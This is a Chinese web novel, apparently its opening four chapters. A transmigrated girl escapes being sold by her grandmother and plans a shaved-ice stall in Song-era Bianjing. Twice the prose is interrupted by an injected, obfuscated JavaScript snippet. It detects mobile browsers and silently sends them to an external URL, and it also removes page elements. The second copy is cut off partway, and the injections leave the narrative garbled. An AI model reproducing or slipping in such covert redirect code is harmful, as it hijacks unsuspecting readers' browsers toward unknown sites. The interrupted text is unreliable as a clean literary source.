《汴京冰雪铺》 1. 分家前(一) “说,谁让你偷的银子!” 梳着包髻发饰的老妇坐在木桌前喝水,搁着脚,嘴里是淬了毒的泼辣:“小小年纪尽学偷鸡摸狗,果真是赔钱货。” 数落话语接踵而来,嘴里奔出唾沫星子溅在她惨白小脸上,身躯止不住的颤抖,甚至抱有一丝希望,苦苦哀求:“阿嬷,我错了,下次再也不敢了,您不要将我卖人...” “怎么,还想有下次,胆子肥了不成。”老妇甩开瓷碗,撩起围裙擦嘴:“丫头,咱家穷,眼看田里麦子快熟了正是需要人丁的时候,你就替阿嬷想想吧!” 人丁?那她呢? 阿瑶垂下头,泪水浸满眼眶,忽的扬长脖子嗤笑:“阿嬷让我替您想想,可曾想过我,幼小您就不喜,我已学着乖巧懂事讨您欢心,可最终还是抵不过两个弟弟,如今急需用银子便可将我转卖,枉费多年称您一声阿嬷!" 老妇听了这话顿时来了气,直接一巴掌扇得阿瑶头昏眼花,脸颊生痛,嘴角淌血,扑倒在地。 “混账犊子,阿嬷替你寻了好去处,你不心声感谢还怨恨上了,老大媳妇养的可真好啊!”她朝地上啐了口唾沫。 “如今牙婆就在外面,你不去也得去!” 老妇手中是两指宽的粗布,动了歹念欲要上前绑她。 眼看祸不单行,阿瑶心中一横,飞奔起身快速朝大门外踱步跑去。 那日偷听阿嬷要将她卖人填补小叔伯在外欠下的巨款,又得知家中还有些银钱。 她偷了钱要逃。 刚跨出门就被一根棍棒重重绊倒在地,眼前一黑,昏死过去。 “死丫头,看你往哪跑!” 老妇表情得意,手法相当娴熟老练三下五除二便将阿瑶双手捆绑住。 阿瑶悠悠转醒,脸颊连同额头隐隐作痛,仿佛有人拿针到处扎一般,一阵又一阵。 她依稀记得昨日刚拉到项目投资准备开车回家,路上遇到天气灾害,车窗被冰雹砸出硕大窟窿不说,她自己也陷入了昏迷。 难道得救了? 资料在哪里?下意识伸手去摸,忍受着痛楚努力睁开眼,迷迷糊糊地环视四周。 茅草铺成的屋檐,黄土堆砌的泥墙,以及角落残留的蛛网和屋内老旧泛白的木质家具,当她看清眼前景象目光霎时凝固。 挥之即来的记忆如潮水般涌入脑中,画面混乱嘈杂满是家长里短的鸡毛碎皮。 她,穿越了.. 原身阿嬷许陈氏向来重男轻女,生有两子,大儿家有一女一子,小儿家独子,对小儿宠爱有加处处维护,养成好吃懒做的习惯,偏偏敢借高利钱财放私银,落下个翻倍利息,连本金都未能收回。 海氏生了原身这个赔钱货,阿嬷已十分不喜她两,总是刻意刁难。 私下听信她人谗言说隔壁桂花姿色比阿瑶差上许多,卖入大户人家为奴得了四十两,才有如今这一出。 弄明白整件事后,阿瑶顿时绝望透顶。 她祖母一心为小叔伯,连注意都打到她身上了,可真是慈祥面孔弑犊心肠。 阿瑶躺在炕上,下意识得屏气张望,黑眸中充满警惕神色,她利落坐起身,静静聆听外头动向,若有所思。 屋外吵闹的很是厉害,依稀能听见许陈氏洪亮略带粗犷的嗓音同人争执,那声音简直如同泼妇。 收回神打量屋内,好似是被人刻意打扫过,记忆中原本出现的尖锐物件早已消失无踪。 就像是时刻提防她中途醒来偷跑。 为保性命,阿瑶试图将绳结咬开,几番来回总算解开。 她特意放轻脚步朝后窗走,动作谨慎生怕惊动前人,正准备开窗离去,屋外急促脚步逐渐朝内靠近。 一刹那,心都快跳到嗓子眼,来不及思考,当即跑回炕边将绳子快速缠回,手心攥住绳头,并腿闭眼躺下。 “您再好好看看我这姑娘,如此上好姿色只值三十两,莫非是您有意压价?”许陈氏粗鲁地推开门,短而黑的手指向阿瑶,反问道。 牙婆并非首次看人,也非头一回同人打交道,仅仅一眼就能瞧出姑娘姿色如何、身段如何,伸手对许陈氏比了个四字,眼神还不忘瞟一眼炕上的阿瑶,心底是暗暗的窃喜。 许陈氏自认阿瑶容貌出众,对报价并不满意,直接开口叫价:“五十两。” 两个婆子加起来都快百岁跟人精似的,明争暗斗谁也不肯退让。 阿瑶眯眼偷看,两人僵持不下像是要掐架模样,心底竟然暗暗升起一股子兴奋,是怎么回事... 左等右等也未见双方打起来,却看着牙婆子朝她方向迟疑了几秒后点头,叫人抽了银票出来。 对方的退让让许陈氏细小窄短的双眼都快笑没影,老脸皱纹横生直勾勾盯着她,那感觉突然叫阿瑶有种不好预感。 牙婆子常年经手像阿瑶这样好人家的姑娘,对于她昏睡一事未感惊讶,手段见多也就习以为常了,被卖的姑娘里运气好点入权贵人家抬坐姨娘半生容华,运气差点下场凄凉无人收尸。 许陈氏收下银票折好塞入里衣压实,嘴角压不住的笑意,亲自拖阿瑶往门外走,嘴里念叨:“好姐姐,您好好替我家丫头掌眼找户好人家卖了,也是全了我这个做祖母的心,她好了咱们也好。” 阿瑶明白装糊涂听着,阿嬷话里话外哪句不是偏袒小叔伯,她爹排行老大就要宽宏大度,左右照顾家中老小。 铁了心要发卖她替小叔伯还债,怎从未说起她是阿爹捧在手心怕化得姑娘。 她们料定迷药分量足够撑到庄子便未绑住双脚,任由许陈氏野蛮搬运阿瑶身体上马车。 躺进车厢阿瑶再次睁眼,里面是同她一样被家人发卖的姑娘,个个面黄肌瘦。 她铆足劲等马车行驶后用力一蹬将箱门踢开,闭眼勇猛一跳,打横在泥地里翻滚好几圈才停下,全身上下都被石子划出细长伤痕,顾不得这些,忍着刺痛小步朝前方挪动。 田间小路多数空旷,牙婆见阿瑶逃跑嘴里嚷嚷骂着,指派人抓她回去教训。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430094|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿瑶猛烈跳落扭伤了脚走不快,连走小半会儿,全身跟水里捞上来似的,衣衫早被汗水浸湿,眼看后方壮汉追上前她心急如焚,不断祈祷有人出现能救她性命。 可脚程实在无法同他们相比,距离越来越近,她是走也不是,不走也不是。当即脑中一激灵,张嘴大叫:“起火了,起火了...” 话虽骗人好歹麦堆间冒出个脑袋抬头寻望,麦子正是收割季节,若是起火庄稼人半年收成都泡汤。 对方嘴里念念有词,瞥见阿瑶脸上伤痕和怪异走姿起了疑心,忙喊来专心耕种的许老大夫妇。 “许大哥,阿瑶那丫头好像被人追着!” 夫妻俩一听连将手中秧苗随地一丢,提着镰刀叫上大伙儿跑去支援。 众人齐心协力赶跑歹人,对阿瑶是又心疼又紧张,尤其是许老大拉着阿瑶手差点跳起来,当初他媳妇为保下这胎喝尽苦药躺了近两月坐稳了胎气,整整十月连大气都不敢出一下,得知是女娃时他高兴坏了,满村的分红鸡蛋。 自家姑娘受了委屈,心里急的很,众人劝说他先听姑娘讲,这才冷静下来。 阿瑶喝了水,缓上片刻对着大家一顿哭,哭的梨花带雨,身子时不时抽泣几下:“阿嬷要将我卖人,但我心里惦记爹娘冒死逃出来。” 此话像是炸弹瞬时炸开了锅,日子穷苦人家总是卖儿卖女可许家并非养不起一女娃! “阿爹,阿娘要替我讨个说法。”她语调凄凉,像是只受惊的鸟,扑进海氏怀里压低嗓音委屈道。 许老大原先还不信他媳妇说娘的不是,今日是听了真真切切,他娘要将家中唯一的孙女卖去给人家做牛做马。 二话不说冲回家里,看着自个娘手里捏着刚做好的肉饼分给儿孙三人,如此慈孝画面却扎了他心窝,强撑着笑意说着:“娘,怎么不见阿瑶出来吃肉饼?” “阿瑶,她..她说有些累在屋里休息,厨房还有一会儿醒了叫她吃。”许陈氏心惊了下,她察觉今日老大有些不同,可又说不上,嘴里敷衍着。 许老大对自己娘做派失望透顶,故意说:“那我去叫她声,一日未见想的很。” 许陈氏眼见瞒不住干脆摊牌:“别去了,她被我卖了,现在怕是离了村子。” 许老大攥紧拳头,眼眶发红,活像一副要吃人模样,语调拔高几分:“您把阿瑶卖去哪儿了,家里是缺了银子不成要将阿瑶发卖,咱家是养不起这三个孩子吗!” “你弟外头欠了五十两银子,五十两,那可是白花花的银子,咱家一年能挣多少,何时还钱,瑶丫头一卖账目刚好填平。”许陈氏见大儿提高嗓音要同他争执,将老二捅得篓子原封不动说了出来。 她是恨铁不成钢,小儿子不争气,凡是惹了是非全叫她来出主意,坏人全让她给做了。 许老大叹气,平日对老二睁一只眼闭一只眼,但凡牵扯到阿瑶是半分都不退让:“那五十两我来还!您把卖阿瑶的银票还回去,顺带给我些钱带她去医馆看病。” 2. 分家前(二) 许陈氏原想耍泼赖皮,可她生平最怕的就是老头子和老大两人,听了话鬼使神差的从里衣掏出银票和几枚铜钱塞入老大手中,嘴里嘀嘀咕咕。 就他媳妇会生,生个赔钱丫头。 许老大一把拿过钱两步并三步地往外走,生怕去迟耽搁他姑娘容貌。 那小脸上深一道浅一道的细痕想想都心疼,平日里半分痛都受不住的姑娘为了留在爹娘身边豁出命。 许老大与她娘争吵时,海氏刚扶阿瑶进家门,两人听的真真切切。 再看人出来,虽是粗布麻衣,全身上下皆是坦坦荡荡。 阿瑶坐驴车到医馆时,老大夫手里正挫着药粉滚泥丸,瞟见两人过去,掸去手中粉尘坐回案边,两眼眯了眯笑笑,细细盘问阿瑶伤势,得知缘由好心提醒他们去衙门赎回文书。 结账时许老大从兜里抓出几枚铜钱,低头数数瞄到露出的半张银票连忙将它塞回袋中。 抓完药匆忙提了药包要背阿瑶去官府赎回她的那张卖身文书,遭到阿瑶拒绝。 阿瑶好说歹说劝她阿爹先回家煮药,送走人同大夫借了拐杖一瘸一拐去了官衙。 候在门口多时,请人通报许久才得已进入大厅,堂前背门站了位官老爷,他背手捏了把黑檀木雕刻的鎏金纸扇,身穿竹青长袍,满头黑发由筷子粗的玉簪固定着。 空旷府邸安静的只能听见寒蝉响亮鸣叫声。 “吴知县,小女后悔了。”她率先发话,扑通一声跪倒在地,木质拐杖发出清脆声响。 她并未见过吴知县本人,只能根据阿爹描述假想,说是吴知县为人公正怜悯,深得百姓信任。 可当吴知县转过身,那浑身上下透着股温润尔雅斯斯文文的气质,半分未见阿爹口中所述之象,最重要是为官清廉。 那纸扇论做工、材质断然不值三百两。 莫非坊间传闻有误? 阿瑶挺直脊梁不卑不亢的跪着,举目间无心对上了眼,墨黑瞳中冷冷清清,可眼底隐隐浮上一层浅淡的着急和慌张。 吴知县别开脸,收起纸扇清了清嗓:“你且说来听听。” 本是家丑不可外扬,但碍于知晓此事之人过多,迟早会传遍村子,她竟觉得无过。 老老实实讲起前因后果,想让官老爷做主,纵然人口买卖要到官府过场盖红章,可她的的确确是被迫的。 “岂有此理,虎毒尚不食子,何况发买你之人是你嫡亲祖母,此事本官定然会为你讨回公道,待本官查明此事,卖身契自会亲自派人送还上门,姑娘手中的五十两需先交与本官。”他淡然说着,语气平淡丝毫无父母官的气概,就像是未曾当过一般。 阿瑶神情带了几分狐疑,偷偷观察对方行为举止,可那做派分明是官老爷该有的风范,压下心中困惑,犹豫再三最终还是交出了五十两银票。 “还请大人及时退还小女卖身文书。”她态度诚恳,双手交叠抵在额间弯腰重重扣地。 男人看见这等情形双手一时无处安放,欲要上前搀扶她起身,却停在半空虚搭良久,讪讪收回。 “姑娘,快起身!” 阿瑶并未因官老爷话而起身,炎热夏季紧贴地面也难减燥热,额间沁出的汗珠滴在地面。 良久直起身,眼前一晃而过的黑,身形晃动跪坐在地,只是当她再次抬头时竟发现官老爷嘴边络腮胡像要脱落一样半挂空中,远看甚有些滑稽,那鼻唇之间空白一片。 她感到诧异,小心试探:“大人,这是返老还童。” 男人对阿瑶说出话语始料未及,双手下意识抚上唇边,指尖触及瞬间犹如烫手山芋,连忙转身背对她整理起来,语气焦急:“本官明日便差人送去,既然今日无事先退下吧。” 阿瑶目光始终落在官老爷身上,对他身份起了疑心。 可听见他说的话心中犹如吃了定心丸,收回眼拜别。 回去路上并未细想有何处不妥,借助拐杖走回家已接近落日,立夏后夜色黑的晚,天边夕阳西下甚是一番好景。 小屋上方炊烟袅袅,飘出大米蒸熟后甜糯香味。 一大家子围坐在小桌前,相互拥挤,阿瑶手里正咬着海氏递去的玉米窝头,垂眼想该如何将五十两银子替小叔伯换上。 她阿爹今日定是气坏了,可全家的银钱收入都被阿嬷紧攥手中,只进不出是常态,难免有时需用银子还要同阿嬷商量。 这可把她愁怀了,若是按照如此发展下去,只怕阿嬷又要动卖她的念头。 阿瑶咬口窝头瞟眼许陈氏,眼神闪烁想说什么,可只能干盯着面前清一色的炒蔬食发呆。 海氏曾经和阿瑶说过几句贴心话,字里行间隐约透露出她小叔伯在外惹下的各种麻烦,凡事牵扯到小叔伯阿嬷都会主动掏出银两。 最让海氏生气的一次便是家中房屋因暴雨漏水时,阿嬷隔天就叫了人率先修缮小叔伯一家的屋檐,唯独她家缓了好几日才修缮好。 明明每月做工上缴银两足够贴付这笔修缮钱财,可还是要推脱说银两不足。 她像是下定主意般,捏着窝头意志坚定:“阿嬷,往后阿爹同阿娘做工银钱便不上交了,全攒起来还您卖我的钱。” 阿瑶的话宛如踩中许陈氏痛楚,当即摔下碗筷起身,大着嗓门哭丧:“这日子还怎么过呀!上交的钱财哪月不是好好存着,如今老大有能耐了...” 许陈氏一把坐到地上撒泼,阿瑶并未惯着她,瞟了眼身旁一阵见血:“阿爹每月上交一两银子直到如今阿嬷手中理应也该有多出来的。” 她阿爹为了让她和幺弟过上好日子,每日田里忙完还要赶去酒楼打下手,虽能挣的银钱有限可多年上交手中所剩无几。 “你这个小兔崽子尽胡说八道,阿嬷一心操持 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“娘!您如今老大不小了,这副模样叫外人看了去咱们家还要不要脸面,日后孩子们如何在大伙面前抬头!”许老大一声阻止了她。 许陈氏坐回矮桌前,擦掉眼角泪望向大儿:“替你弟还钱的事还算数吗?” 许老大叹气:“银两我自会替老二还上,阿瑶必须留下!” 一家人总算平心静气坐下来吃完了饭。 晚间,许老大拿出个木匣子放在阿瑶面前打开,心有惭愧:“闺女是阿爹没用,原本这些银子是将来给你的嫁妆好让你在婆家有底气...” 阿瑶垂眼细数,木匣子内少说得有十量,她有些震惊:“阿爹,咱家每月能用的银两不多,您这些是哪儿来的。” “你阿爹长本事了,现在每月可得三两银子,上交一两、存一两、花一两。”许老大再三叮嘱:“切勿告诉你阿嬷。” 阿瑶怎么都没想到他阿爹如此卖力,是为了她。 “阿爹,今晚也要外出务工?”她犹豫了一下:“今日可否让我跟着你去?” 本来提议过让阿瑶去镇上读书,可许陈氏怎么都不让她去,说什么姑娘家读什么书,终究还是胳膊扭不过大腿一连说了多次也作罢。 难得听见阿瑶主动提起要跟着去,许老大高兴的合不拢嘴:“阿爹今日就带你去瞧瞧,咱们镇上的夜市是最热闹的,以往你想去你阿嬷总是不让,可现在不慌了,将来阿瑶也是能有作为的。” “嗯!”阿瑶心里暖暖的。 上辈子父母离异早,各自重建了家庭,独留下她一人孤零零的长大,若非有长辈照顾她怕是不能长大,可惜好景不长原来以为上天给了她机会让她重活一世,结果创业中途穿回了古代... 好在她有一对将她视若珍宝的爹娘。 眼看剩下时日不多,她必须想办法将剩余四十两补齐全。 3. 分家前(三) 镇子是位于延边靠近都城的下方县城,夜市酒楼极繁盛,而车马行人物嘈杂,灯光照天。 经过州桥一路往南走,这算是美食一条街。 阿瑶首次逛夜市,差点被眼前景象震撼,从桥头一直到桥尾皆是各种稀奇小吃糕点,就连平日里的酒楼也是文人雅士齐聚一堂,玩文弄武好生雅兴。 小满将过芒种将至时节,摊位前到处是纳凉的时令食物:麻腐鸡皮、药木瓜、荔枝膏... 阿瑶路上答应许老大上街绝对不随意乱跑,哪怕还有几月便是及笄之日,她也安分守己跟着进入酒楼。 许老大平时便是招待客人,有时酒楼生意太火爆忙不过来也会进后厨打下手,多数食客是因为他手艺极好来的。 店家默认他进后厨干活,月钱提了些。 恰逢今日店中生意极其好,酒楼跑堂人手略有不足,阿瑶满心蹲坐在店门口盘算该如何还上那数量庞大的四十两银子。 头顶传来店家同伙计交待:“最近几日生意极好,人手紧缺,一会儿你去门口张贴招工告示。” “店家,您看我如何?”阿瑶站起身拍了拍,朝人问道。 店家眼力见极好认得阿瑶刚同许老大一起过来,脸上略有为难:“小丫头,跑堂的活可不是你能干的!” 阿瑶脸颊露出两个深邃酒窝,轻笑道:“您别看我年级轻轻,从小可没少帮家里干农活,何况您眼下急着找人,我可不正好。” 店家思索再三最终还是同意阿瑶进店帮忙,只是分配了些简单的活交给她,打发她去应付楼上那些文绉绉的书生们。 从跑堂嘴里得知楼上书生们虽饱读诗书,可有些时候总喜欢装作高雅之士,每隔半月便要举办什么诗会,说是诗会实则内里却可折价购买双方收藏的珍品,此处多是急于用钱之人。 前阵子有位文人卖弄文姿将同伴书画沾染了墨汁,对方向他索要五十两白银,迟迟未能还上,一拖再拖。 正逢半月为期。 那件件昂贵玉器统统摆在木质展架上,墨香书画按照顺序摊开放于八仙桌前,几个文人围聚一堂讨论年代、名人生前是何等高风亮节。 散漫的脚步声传来,摇扇弄衫之人从热闹大厅悠闲而上,身后两名侍童手中各捧了副长有三尺的卷轴。 “如此好兴致,怎可少了我?” 说话人正是半月前毁名画的公子哥梁文宇,虽说区区五十两白银对他而言不足为奇,可近几日惹了家中父母双亲不快,断了他用度。 耳旁是好友调侃话语,他全然未曾放于心上,从腰间掏出张银票塞入受害者怀中,打开扇子摇起来:“五十两奉上。” 随后大摇大摆走向门口木椅,神色轻挑,一双狭长桃花眼打量起屋内人的面色,淡定坐下。 身后侍童手里抱着三尺长画卷上前,只听他慵懒说着:“打开。” 画卷缓慢打开,里头的丹青仿佛重见天日般,每一处都如干枯多年的树木疯狂张开毛孔呼吸新鲜空气。 夏日清风微拂有丝凉意透入,画卷中依稀飘出阵阵清香。 阿瑶受唤上楼为这些文人提供菜品供以选择,此前已熟背店中所有当下时令食物。 她移动缓慢,脚伤敷完药好了许多,但并不耽误务工,立在木门前轻叩:“各位客官,可要点些什么吃食。” 几人常来,梁文宇知晓大家喜好缓缓说道:“蜜沙水、水晶皂儿、素签...” 阿瑶毕恭毕敬把客人所点食物统统报于后厨,夏季食物无需多加烹饪,再者都是些提前备下稍微配置就能上桌的时令小吃。 当她端着木案靠近门边正要敲,门从里头打开,门前站着位身穿锦色白袍的男子,手中捏着把纸扇摇晃。 她并未细看,则是为这些文人布置安放, 众人见上菜的是位姑娘,甚有些意外,牡丹庄历来都是男子跑堂从未出现过女子,其中有人惊呼:“荒唐,真是太荒唐了。” 大概是觉着女子有辱斯文,才会如此。 阿瑶放下纳凉佳品,语气恭敬客气:“请诸位慢用。” 反倒是靠在漆柱前的梁文宇来了兴致,用扇面拦住欲要离去的阿瑶,那把黑檀木鎏金纸扇明晃晃出现在她眼中。 他将折扇合拢挑起阿瑶微低垂的脸,未施粉黛的小脸光滑如玉,眉宇带了几分忧愁,难掩貌美如花的姿色。 四目相对,两对眸子中尽是料想不到的震撼,他火速挪开折扇,向后退了步作揖:“在下唐突,还请姑娘见谅。” 阿瑶别开脸,佯装咳嗽,恢复淡定:“公子无需多礼,只是小女有一事为明还请公子解答!” 梁宇文手执折扇,用力一甩扇子便猛然地张开,犹如雄鹰展翅。手腕强劲有力摆动着,速度略快,刻意压低嗓音:“姑娘且说。” “今日因为家中事前去衙门报案,公子长相竟同知县大人有几分相似,小女子想问公子是否是知府家中....”阿瑶见了那把扇原先埋在心中的困惑舜时跳了出来。 还未等她说完,对方抢先否认:“非也。” 梁文宇一改适才态度,缓了几分:“姑娘定是见过知府大人的折扇才贸然断定在下,放眼城中商铺何处无相似物件?” 阿瑶来时确实看到集市上大多都在售卖与之相同的折扇,单论做工那些外表于眼前这把毫无区别,想必是忽然流行于文人雅士之间,打消心中疑虑,向他点头:“多谢公子解惑,多有打扰。” 他视线下移,目光定格在阿瑶绑着绷带的右脚踝,拽下腰间玉佩递上:“此物交于你,足够急需,善待自己。” 梁文宇见阿瑶迟迟未收,搁在窗前转身入屋。 阿瑶抿唇收下玉佩,连忙下楼帮忙。 店家对自家伙计很是客气,大伙忙中偷闲会吃店内食客剩下的蜜沙水,阿瑶刚送餐回去,进了后厨看见大伙轮流交接吃冰洽谈甚欢,许老大提前替阿瑶藏了碗好的在边上等她回来。 她手中木案被人抽走换上一碗蜜沙水,碗延冒着水滴,顺掌心滴落,阿瑶捧在手中感到一丝清凉袭来。 小小一碗蜜沙冰,粗中带细,洁白无瑕的堆积成山,碗边撒了几粒蜜豆,上头用蜂蜜细细淋了一圈。 阿瑶端详一眼,挖了勺入口,冰碴融化后是一股淡淡的甜味,确实不错。 或许她可以稍作改变让它成为夏季必不可缺的佳品。 这样便能快速还上手中欠款,阿瑶心中想着。 等她回家已是三更天,简单洗漱后躺在炕上翻来覆去睡不着,屋中闷热难忍,晚间温度降了飘进丝凉风,才逐渐沉睡过去。 一早被腰间硬物搁的疼醒,小手摸出枚玉佩,指尖覆上纹路摩挲,迷糊的睁眼瞧,那是枚成色上好的竹纹佩。 若是拿到当铺典当少则三十两,多则五十两。 她一时有些心动,可再多瞧眼却发现玉佩似曾相似,连同昨日那男子都有股熟悉之意。 阿瑶闭眼想了又想,最终记起是她去府衙告状时曾在官老爷身上见过,如此一来她当即想明来龙去脉,容不得多想,急忙穿上鞋,搭上村中最早进城卖货的驴车赶去府衙。 此次见到的官老爷任然穿着竹青官服,头戴长翘乌纱帽,单坐高堂之上是浑然天成的威严和震慑,炎炎夏日她通身透凉。 仿佛心头滴血,自认倒霉,明知理亏但还是跪求帮助:“请知县大人,为小女做主。” “你且说来。” 阿瑶娓娓道出前因后果,先是诉说家中长辈逼迫她卖身为奴,后又说出昨日在浩然凛气之下发生骗银一事。 吴知县登时镇怒,嘴角八字胡气的咬牙切齿:“此事本官定然会还你公道。”昨日隐约听见动静原是真。 “多谢大人体恤,小女感激不尽。”阿瑶说着掏出玉佩,双手奉上:“小女愿将昨日狂妄之徒的贴身物件交于大人,还请大人定夺,能及时归还小女卖身文书。” 她今日一来是为了讨回五十两银票,二则是为能提前拿回她卖身文书。 吴知县听了话,抚须思量,面露难色:“小姑娘,本官并未收到你的卖身契。” 阿瑶僵在原地,双目放空,良久缓过神,似笑非笑望向前方:“大人定是同小女开玩笑!” 吴知县得了师爷眼神,缓缓说来:“本官为何要欺骗于你,未盖红章的交易自然是未走明面的买卖,你既已反悔,此事就当作废。” 作废二字,是何等的重要,阿瑶心间积压的大石终于落地。 她虔诚般磕头,头骨发出沉闷声响,也丝毫不嫌疼连磕好几下:“多谢大人,只是五十两银票一事还请大人能尽快捉拿归案。” 欠债五十两,被骗五十两,加起来共计一百两,只怕下辈子都还不清了... 阿瑶拜别吴知县,独自到大街上观望,虽是闹市,车水马龙之下是别具一格的处世之道。 集市两旁是和谐共存的摊位和酒楼,各自向食客供应自家招牌菜色。 阿瑶昨晚见识过各种样式冰饮子,巷陌路口,桥门市井皆有卖,可见受欢迎程度很高,也叫她无从下手。 市集有专供各个酒楼及商贩的冰块,价格对如今的阿瑶来说有些吃力。 她心间冒出个想法,若是能通过酒楼谋取其中差价只需几日便可赚够本金。 阿瑶边想边往酒楼而去,因着昨晚临时帮了大忙,今日再去店家一眼就瞧出阿瑶,笑脸盈盈:“小姑娘,今日又准备来务工了?” 白日里店内客人没晚间进出多,却数量不小,楼下大堂几乎坐满,楼上雅间到是空闲着,或许是半月之期已过,楼上安静无声,连同昨日见到的那些文人雅士都未出现。 阿瑶不知该如何说出口,神色凝固了下:“我这有个生钱的法子,不知店家可否愿听?” 生钱法子?这年头无人不爱财,即便是店家这样的人,也是要琢磨许久。 “你说来听听!”店家被勾起兴趣,追问。 阿瑶看出他眼中闪过亮光,故意卖弄:“其实非大事,一些小钱您是看不上眼的?” 生意人面前即便是苍蝇肉都好,无故受人有意引诱,店家心痒难忍:“你到说于我听听。” 她拿捏分寸,睨了眼对方,缓缓说起:“这法子简单,晚间食客对蜜沙水喜爱较少,我有个点子可助店中翻上一倍,只是不知店家是否愿意。” 数量翻倍便是每日金额翻倍,对酒楼无害,反而锦上添花。 阿瑶眼神紧盯着,看见对方露出的笑脸又道:“若卖出去,我便要从中抽取十文当做手艺费。” 开了十多年酒楼,做买卖方面早成了人精,一碗蜜沙冰最贵也才三十文,其余买四十五文,精明眼珠不停“咕噜”的转动,脑海内盘算着物价成本。 店家怀疑阿瑶一小姑娘没什么手段笼络客人,夸下海口说大话,每卖出一碗抽取十文钱是笔巨大开支,折算人工费、食材费,长此以往难以维持营生,面色凝重,微微摇头:“小姑娘年纪轻轻怕是从未做过生意,不知其中艰辛,你又如何能证明它日此法必受欢迎?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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村中住着户铁匠,说是铺子开在镇上见多识广,阿瑶晚间偷溜出门,将所需物料通通告知于他,对方也是个爽快人,一口答应下来,叫她过几日去取。 村子周围都是田又逢夏季,干旱了好几日才迎来一场雨,没晒几日愈发的燥热,耳边皆是青蛙连成一片的叫声,在空旷夜色中回荡直到东方升起一道光。 冰桶只是定了个模子还没正式开始动工,她这几时日往镇上跑的极为勤快,为了能及时和铁匠沟通细微改动之处,花费大量时间去观察他人的存冰桶。 又以务工的形式跑了多家冰饮子店观摩师傅手艺和食客喜好,在确定镇子上从未出现过她的样子才大胆计划起来。 临近收货日期,阿瑶跑遍了镇上所有酒楼和街边小摊,摸透了东巷和西巷两条街上的时令水果价格,东巷出摊时间早,分时段卖价,新鲜好看;西巷出摊时间晚,价格浮动小,但是到了晚间会大幅度降低价格出售,多数是一些熟透的水果。 阿瑶根据所需食材进行划分,打算分别添置些东西巷时令水果。 冰桶做好需要一辆车拖回去,阿瑶去租驴车途中恰巧遇上了骗她钱财之人,那人模样大变,一夜之间竟然从云端跌落凡尘。 原本手中紧握不放的鎏金纸扇如今只剩下一个扇骨架子还在,脸上挂了彩,衣裳凌乱不堪,蹲坐在长街尽头的巷子里。 阿瑶心中有些愧疚,古代骗钱律法如此严重吗?这好像是抄了家般的落魄。 她于心不忍,油然而生得怜悯打断了阿瑶思绪,她摇了摇头,保持冷静,坐上驴车回家。 中途发觉不对劲又折回城中想办法租了间仓库用来存放冰桶,她暂时没有想把做生意一事告知家中,唯一知晓此事的只有他阿爹。 阿瑶和她爹串通好晚间到镇上打工,实则是准备开始买冰饮子。 摊上都是相互熟络的小贩,大伙对初来乍到的阿瑶抱着戏谑神情,暗地里都认为阿瑶年轻不懂行,迟早要吃亏。 阿瑶中途瞥见长街尽头老位置还蹲着人,只是前面多了只破碗和几枚铜钱。 她远远眺了眼,来不及细瞧,摊位前来了几个客人,她收回眼专心招呼起来:“客官,您要那种款式。” 阿瑶桶上挂了块牌子,手工写着大中小三种,分别对应不同价格。 头次见的食客很是新奇,打量了半天,最终还是在阿瑶推荐下购买了中份的蜜冰沙,酒楼贩卖的蜜沙冰从未低于三十文,那是穷苦人家一日工钱,全花在吃冰上家中要揭不开锅。 因此阿瑶特意设置了最小的份额,用的是精巧的注碗,下面有夹层可以用凉水保持碗内温度不变,最下层是特制的乳白色沙冰,不同与冰碴的细腻口感,上头是用冰块本身颜色淋上食客自个挑选的果酱浇头,周围放了几块鲜果颗粒。 每种搭配阿瑶都有卖出去一份,大小跟随食客喜好而来。 她细算过收入,将剩余部分全放回冰桶内,冰桶是根据当下特制的一种双层木桶,底下是基座,上面有圆盖,界面处包白铜,冰块往夹层一放,可保持两三天都不融。 夜市结束,阿瑶临走朝前方望了一眼,人还在原地,她轻叹气,拿上私留糕点过去。 “哝,给你吃。”阿瑶蹲下塞到他手中:“你别多想,看在你当初试图帮我的份上。”骗了钱过意不去用玉佩抵债,她怎么就鬼迷心窍一个劲要把银票拿回来了呢。 “今日生意还行,但有些忙不过来需要个帮手,看你蛮合适,要不…跟了我。”阿瑶说的轻,足够对方听见。 4. 分家前(四) 男子并未吃阿瑶强塞的糕点解饿,听见了话神情一顿,抬眼看着她,调侃道:“跟了你有什么好处。” 阿瑶愣了愣,随后道:“五两银买你终身!” 梁文宇笑着说:“五两可卖不了终身,既然要买终身就五十两吧。” “五十两!”阿瑶“噌”一下从地上起身,趾高气扬:“你做梦也要讲理,是你骗人先,虽然送我玉佩抵债,可我也是…无意。”五十两她得卖多少碗冰饮子换回来。 细细算来若非是她去告状,还将玉佩做为证据上交,估计今日这人还在哪处逍遥快活。 转念一想,该。 梁文宇抚平衣摆褶皱起身,将头发理到一边,额间露出大块淤青,像是人打的,又像是摔跤磕的。 阿瑶绕着他转了圈,四肢修长纤细,全身细皮嫩肉一眼便知道不是干苦力活的主,嫌弃道:“五两最多了。” 她挑三拣四的模样像只昂啾啾的大公鸡硬气十足,讨价还价是半分都不退让。 男子松了口轻叹息:“五两便五两吧。” 阿瑶对结果很是满意,笑脸吟吟地双手叉腰指挥起来:“你,去把车子推上。” 自小干惯农活,小胳膊小腿锻炼的可结实了,哪怕她是魂穿做起活来相当的得心应手,圆润的杏眼干呼呼的盯着新跟班,视线随男子局促慌乱的动作“噗呲”笑出声。 实在看不下去出手指点起来,梁文宇撸起袖子调整手势,手臂脉络外扩暴起,花费小半个时辰总算推回。 阿瑶安排梁文宇同木桶住一个屋,既方便看桶又替她省下一笔银钱。 两者何乐而不为呢? 